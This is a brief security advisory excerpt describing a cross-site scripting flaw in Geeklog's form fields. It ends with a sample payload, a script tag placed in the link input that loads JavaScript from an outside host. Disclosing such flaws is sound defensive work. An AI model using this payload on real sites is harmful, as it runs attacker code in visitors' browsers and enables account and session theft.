source: http://www.securityfocus.com/bid/4974/info

Geeklog does not sufficiently sanitize script code from form fields, making it prone to script injection attacks.

Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website. 

Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt; 